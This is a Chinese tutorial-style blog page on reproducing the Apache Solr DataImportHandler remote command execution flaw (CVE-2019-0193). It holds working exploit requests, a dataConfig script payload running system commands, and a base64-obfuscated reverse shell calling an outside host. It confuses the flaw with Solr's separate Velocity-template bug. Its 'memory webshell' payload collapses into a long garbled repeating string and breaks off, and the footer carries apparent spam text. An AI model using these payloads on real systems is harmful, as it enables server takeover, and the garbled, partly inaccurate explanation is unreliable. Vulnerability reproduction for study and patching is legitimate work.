溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Apache Solr遠程命令如何進行執行復現

發布時間:2021-11-11 16:55:05 來源:億速云 閱讀:246 作者:柒染 欄目:大數據
# Apache Solr遠程命令執行漏洞復現分析

## 漏洞背景

Apache Solr是一個基于Lucene構建的開源企業級搜索平臺,廣泛應用于各類需要全文檢索功能的系統中。2019年10月,Apache Solr被曝出存在遠程命令執行漏洞(CVE-2019-0193),攻擊者可通過構造特定請求在目標服務器上執行任意命令。

## 漏洞原理

該漏洞源于Solr的DataImportHandler功能模塊。當開啟`dataImport`功能時,攻擊者可以通過DIH配置中的`dataConfig`參數注入惡意腳本,利用Solr的Velocity模板引擎實現遠程代碼執行。

關鍵點:
1. DataImportHandler默認不啟用但可通過API開啟
2. Velocity模板引擎允許執行Java代碼
3. 未對用戶輸入的`dataConfig`參數做充分過濾

## 環境搭建

### 實驗環境要求
- 操作系統:Linux/Windows
- Java環境:JDK 1.8+
- 漏洞版本:Apache Solr 8.1.1(其他受影響版本:5.0.0-8.2.0)

### 安裝步驟
```bash
# 下載漏洞版本Solr
wget https://archive.apache.org/dist/lucene/solr/8.1.1/solr-8.1.1.tgz
tar -xzf solr-8.1.1.tgz
cd solr-8.1.1

# 啟動Solr(默認端口8983)
bin/solr start -e cloud -noprompt

漏洞復現步驟

步驟1:創建測試核心

# 創建名為vuln的核心
bin/solr create_core -c vuln

步驟2:啟用DataImportHandler

發送以下HTTP請求開啟DIH功能:

POST /solr/vuln/config HTTP/1.1
Host: target:8983
Content-Type: application/json

{
  "add-requesthandler": {
    "name": "/dataimport",
    "class": "org.apache.solr.handler.dataimport.DataImportHandler",
    "defaults": {"config": null}
  }
}

步驟3:構造惡意請求

通過dataConfig參數注入Velocity模板代碼:

POST /solr/vuln/dataimport?_=1625555555555 HTTP/1.1
Host: target:8983
Content-Type: application/x-www-form-urlencoded

command=full-import&verbose=false&clean=false&commit=true&debug=true&core=vuln&name=dataimport&dataConfig=
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
    java.lang.Runtime.getRuntime().exec("touch /tmp/solr_rce_test");
  ]]></script>
  <document>
    <entity name="entity1"
            url="https://example.com"
            processor="XPathEntityProcessor"
            forEach="/RDF/item"
            transformer="script:">
    </entity>
  </document>
</dataConfig>

步驟4:驗證執行結果

檢查目標服務器是否創建了測試文件:

ls -la /tmp/solr_rce_test

漏洞利用進階

反彈Shell示例

修改dataConfig中的命令為反彈Shell(需URL編碼):

<![CDATA[
  java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}");
]]>

內存馬注入

通過Java反射機制注入內存Webshell: “`java <![CDATA[ java.lang.Class.forName(“javax.script.ScriptEngineManager”) .newInstance() .getEngineByName(“JavaScript”) .eval(“new java.lang.ProcessBuilder[‘(java.lang.String[])’]([‘/bin/bash’,‘-c’,‘echo PDw8PDw+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女